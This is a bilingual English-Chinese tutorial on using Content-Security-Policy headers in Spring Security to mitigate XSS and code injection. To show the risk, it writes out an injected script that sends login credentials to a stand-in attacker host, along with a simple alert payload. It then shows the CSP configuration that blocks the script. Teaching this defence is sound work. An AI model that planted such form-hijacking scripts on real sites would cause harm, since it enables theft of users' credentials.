1. Overview
1.概述
Cross-Site Scripting or XSS attacks consistently rank in the top ten of the most prevalent cyber-attacks. An XSS attack occurs when the web server processes a user’s malicious input without validating or encoding it and renders it on the page. Like XSS attacks, code injections and clickjacking create havoc on web applications by stealing user data and impersonating them.
跨站脚本或XSS攻击一直位列最普遍的网络攻击的前十名。XSS攻击发生在网络服务器处理用户的恶意输入而不对其进行验证或编码并将其呈现在页面上。与XSS攻击一样,代码注入和点击劫持也通过窃取用户数据和冒充用户的方式对Web应用程序造成破坏。
In this tutorial, let’s learn how to mitigate code injection risks in Spring Security-based web applications using the Content-Security-Policy headers.
在本教程中,我们将学习如何使用Content-Security-Policy头文件来减轻基于Spring Security的Web应用程序的代码注入风险。
2. Content Security Policy
2.内容安全政策
The Content Security Policy (CSP) is an HTTP response header that significantly reduces code-injection attacks like XSS, Clickjacking, etc., in modern browsers.
内容安全策略(CSP)是一个HTTP响应头,它可以在XSS、Clickjacking等现代浏览器中显著减少代码注入攻击。
A web server specifies an allowlist of resources that a browser can render with a Content-Security-Policy header. These resources could be anything that a browser renders, for instance, CSS, Javascript, images, etc.
网络服务器通过Content-Security-Policy头来指定浏览器可以渲染的资源允许列表。这些资源可以是浏览器渲染的任何东西,例如,CSS、Javascript、图像等。
The syntax of this header is:
这个头的语法是:。
Content-Security-Policy: <directive>; <directive>; <directive> ; ...
Besides, we can set this policy as part of an HTML page’s <meta> tags:
此外,我们可以把这个策略作为HTML页面的<meta>标签的一部分来设置。
<meta http-equiv="Content-Security-Policy" content="<directive>;<directive>;<directive>; ...">
Additionally, each of these directives contains a key with multiple values. There can be more than one directive, each separated by a semicolon (;):
此外,这些指令中的每一个都包含一个具有多个值的键。可以有多个指令,每个指令之间用分号(;)隔开:。
Content-Security-Policy: script-src 'self' https://baeldung.com; style-src 'self';
In this case, we have two directives (script-src and style-src), and the directive script-src has two values (‘self’ and https://baeldung.com).
在这种情况下,我们有两个指令(script-src和style-src),而指令script-src有两个值(‘self和https://baeldung.com)。
3. Vulnerability Demonstration
3.脆弱性演示
Now, let’s see an example of how serious the XSS and code injection vulnerabilities can be.
现在,让我们看一个例子,说明XSS和代码注入漏洞有多严重。
3.1. Login Form
3.1 登录表
Generally, we redirect the user to a login page on a session timeout in web applications. Also, a standard login form has username/password fields and a submit button:
一般来说,在Web应用程序中,我们会在会话超时时将用户重定向到一个登录页面。此外,一个标准的登录表格有用户名/密码字段和一个提交按钮。
<span> Session time out. Please login.</span>
<form id="login" action="/login">
<input type="email" class="form-control" id="email">
<input type="password" class="form-control" id="password">
<button type="submit">Login</button>
</form>
3.2. Code Injection
3.2 注射代码
A user can inject suspicious code through form fields while providing user input. For example, assume a textbox that accepts usernames in a registration form.
用户可以在提供用户输入时通过表单字段注入可疑的代码。例如,假设在一个注册表格中,有一个接受用户名的文本框。
Instead of a username, a user can input <script>alert(“this is not expected”)</script> and submit the form. Subsequently, when the form displays the username, it executes the script (alerts a message in this case). The script can even load external scripts that can cause more serious harm.
用户可以输入<script>alert(“this is not expected”)</script>代替用户名,然后提交表单。随后,当表单显示用户名时,它就会执行脚本(在这种情况下会提醒一条信息)。该脚本甚至可以加载可能造成更严重危害的外部脚本。
Similarly, let’s assume we have form fields with insufficient validations. Again, a user exploits this and injects a malicious Javascript code into the DOM (Document Object Model):
同样地,让我们假设我们有验证不足的表单字段。同样,一个用户利用这一点,将一个恶意的Javascript代码注入到DOM(文档对象模型)。
<span> Session time out. Please login.</span>
<form id="login" action="/login">
<input type="email" class="form-control" id="email">
<input type="password" class="form-control" id="password">
<button type="submit">Login</button>
</form>
<script>
let form= document.forms.login;
form.action="https://youaredoomed.com:9090/collect?u="+document.getElementById('email').value
+"&p="+document.getElementById('password').value;
</script>
This injected Javascript code redirects the users to a malicious site when clicking on a Login button.
当点击登录按钮时,这个注入的Javascript代码将用户重定向到一个恶意网站。
When an unsuspecting user submits the form, he gets redirected to https://youaredoomed.com with his credentials exposed.
当一个毫无戒心的用户提交表格时,他被重定向到https://youaredoomed.com ,他的凭证被暴露。
3.3. Demo
3.3 演示
Let’s see this vulnerability in action.
让我们看看这个漏洞的作用。
Typically, after the session time out, the server redirects a user to a login page to enter his credentials. But, the injected malicious code redirects the user to an unintended site along with the user’s credentials:
通常情况下,在会话超时后,服务器会将用户重定向到一个登录页面,以输入他的凭证。但是,注入的恶意代码将用户和用户的凭证一起重定向到一个非预期的网站。
4. Spring Security
4.Spring安全
In this section, let’s discuss ways to mitigate these code injection vulnerabilities.
在本节中,让我们来讨论如何缓解这些代码注入漏洞。
4.1. HTML meta Tags
4.1 HTML meta 标签
Adding a Content-Security-Policy header in the previous example would have blocked submitting the form to the malicious server. So, let’s add this header using the <meta> tag and check the behavior:
在前面的例子中添加Content-Security-Policy头会阻止向恶意服务器提交表单。因此,让我们使用<meta>标签添加这个头,并检查其行为。
<meta http-equiv="Content-Security-Policy" content="form-action 'self';">
Adding the above meta tag prevents the browser from submitting the form to other origins:
添加上述metatag可以防止浏览器将表单提交给其他来源。
Even though the meta tags can mitigate the XSS and code injection attacks, they have limited functionality. For instance, we can’t use meta tags for reporting the Content-Security-Policy violations.
即使meta标签可以缓解XSS和代码注入攻击,但它们的功能有限。例如,我们不能使用meta标签来报告违反内容安全政策的情况。
Henceforth, let’s use the power of Spring Security to mitigate these risks by setting the Content-Security-Policy header.
从今以后,让我们利用Spring Security的力量,通过设置Content-Security-Policy头来减轻这些风险。
4.2. Maven Dependencies
4.2.Maven的依赖性
First, let’s add Spring Security and Spring Web dependencies to our pom.xml:
首先,让我们将Spring Security和Spring Web依赖项添加到我们的pom.xml中。
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
<version>2.7.2</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.7.2</version>
</dependency>
4.3. Configuration
4.3.配置
Next, let’s define Spring Security configuration by creating a SecurityFilterChain bean:
接下来,让我们通过创建一个SecurityFilterChainbean来定义Spring安全配置。
@Configuration
public class ContentSecurityPolicySecurityConfiguration {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.headers()
.xssProtection()
.and()
.contentSecurityPolicy("form-action 'self'");
return http.build();
}
}
Here, we declared contentSecurityPolicy to restrict the form actions to the same origin.
在这里,我们声明了contentSecurityPolicy,以限制表单动作在同一产地进行。
4.4. Content-Security-Policy Response Header
4.4.Content-Security-Policy 响应头
With necessary configurations in place, let’s verify the security provided by Spring Security. For this, let’s open the browser’s developer tools (by pressing F12 or similar keys), click on the Network tab, and let’s open the URL http://localhost:8080:
有了必要的配置,让我们来验证Spring Security提供的安全性。为此,让我们打开浏览器的开发工具(按F12或类似的键),点击网络标签,让我们打开URLhttp://localhost:8080。
Now, we’ll fill the form and submit it:
现在,我们要填写表格并提交。
With the Content-Security-Policy header in place, the browser blocks the submit request and mitigates the risk of compromising the credentials.
有了Content-Security-Policy标头,浏览器就会阻止提交请求,并降低了泄露证书的风险。
Similarly, we can configure Spring Security to support different directives. For instance, this code specifies the browsers to load the scripts only from the same origin:
同样地,我们可以配置Spring Security以支持不同的指令。例如,这段代码指定浏览器只从同一来源加载脚本。
.contentSecurityPolicy("script-src 'self'");
Similarly, we can instruct the browsers to download the CSS only from the same origin and somecdn.css.com:
同样地,我们可以指示浏览器只从同一来源和somecdn.css.com下载CSS。
.contentSecurityPolicy("style-src 'self' somecdn.css.com");
Additionally, we can combine any number of directives in the Content-Security-Policy header. For instance, to restrict the CSS, JS, and form actions, we can specify:
此外,我们可以在Content-Security-Policy头中结合任何数量的指令。例如,为了限制CSS、JS和表单操作,我们可以指定。
.contentSecurityPolicy("style-src 'self' somecdn.css.com; script-src 'self'; form-action 'self'")
4.5. Reporting
4.5.报告
Apart from ordering the browsers to block malicious content, a server can ask the browsers to send a report for the blocked content. So, let’s combine the report-uri directive with other directives for the browser to send a POST whenever the content is blocked.
除了命令浏览器屏蔽恶意内容外,服务器还可以要求浏览器发送被屏蔽内容的报告。因此,让我们把report-uri 指令与其他指令结合起来,让浏览器在内容被屏蔽时发送POST。
The browsers post the below content to the URL defined in report-uri:
浏览器将以下内容发布到report-uri中定义的URL。
{
"csp-report": {
"blocked-uri": "",
"document-uri": "",
"original-policy": "",
"referrer": "",
"violated-directive": ""
}
}
Therefore, we need to define an API that receives this violation report sent by the browser and log the request for illustration and clarity.
因此,我们需要定义一个API,接收由浏览器发送的这个违规报告,并记录请求,以便说明和澄清。
We should note that even though the directive report-uri is deprecated in favor of report-to, most browsers do not support report-to as on date. Hence, we’ll use both the report-uri and the report-to directives for the reporting.
我们应该注意到,尽管指令report-uri已被弃用,而改用report-to,但大多数浏览器至今都不支持report-to。因此,我们将同时使用report-uri和report-to指令进行报告。
First, let’s update our Spring Security configuration:
首先,让我们更新我们的Spring Security配置。
String REPORT_TO = "{\"group\":\"csp-violation-report\",\"max_age\":2592000,\"endpoints\":[{\"url\":\"https://localhost:8080/report\"}]}";
http
.csrf().disable()
.authorizeRequests()
.antMatchers("/**").permitAll().and()
.headers().addHeaderWriter(new StaticHeadersWriter("Report-To", REPORT_TO))
.xssProtection()
.and()
.contentSecurityPolicy("form-action 'self'; report-uri /report; report-to csp-violation-report");
We first defined a report-to group with csp-violation-report and associated an endpoint. Next, as part of .contentSecurityPolicy, we used this group name as the value of the report-to directive.
我们首先用csp-violation-report定义了一个report-to组并关联了一个端点。接下来,作为.contentSecurityPolicy的一部分,我们使用这个组名作为report-to指令的值。
Now, when we open the page in the browser, we see:
现在,当我们在浏览器中打开该页面时,我们看到。
Next, let’s fill the form and click the Login button. As expected, the browser blocks the request and sends a report. On the server console, we have a log similar to:
接下来,让我们填写表格并点击登录按钮。正如预期的那样,浏览器阻止了这个请求并发送了一份报告。在服务器控制台,我们有一个类似的日志。
Report: {"csp-report":{"blocked-uri":"https://youaredoomed.com:9090/collect?u=jhon.doe@mail.com&p=password","document-uri":"https://localhost:8080/","original-policy":"form-action 'self'; report-uri https://localhost:8080/report","referrer":"","violated-directive":"form-action"}}
Here’s the same report after formatting the JSON:
下面是格式化JSON后的同一报告。
{
"csp-report": {
"blocked-uri": "https://youaredoomed.com:9090/collect?u=jhon.doe@mail.com&p=password",
"document-uri": "https://localhost:8080/",
"original-policy": "form-action 'self'; report-uri https://localhost:8080/report",
"referrer": "",
"violated-directive": "form-action"
}
}
5. Conclusion
5.总结
In this article, we have seen how to guard our web applications from clickjacking, code injections, and XSS attacks.
在这篇文章中,我们已经看到了如何保护我们的Web应用程序免受点击劫持、代码注入和XSS攻击。
While there is no complete protection from these attacks, the Content-Security-Policy header helps in mitigating most of these attacks. Notably, as of date, most modern browsers do not entirely support this header. Hence, designing and building applications with solid security principles and standards are critical.
虽然没有完全防止这些攻击,但Content-Security-Policy头有助于减轻大多数这些攻击。值得注意的是,到目前为止,大多数现代浏览器并不完全支持这个标头。因此,以坚实的安全原则和标准设计和构建应用程序是至关重要的。
As always, the complete source code is available over on GitHub.
一如既往,完整的源代码可在GitHub上获得,。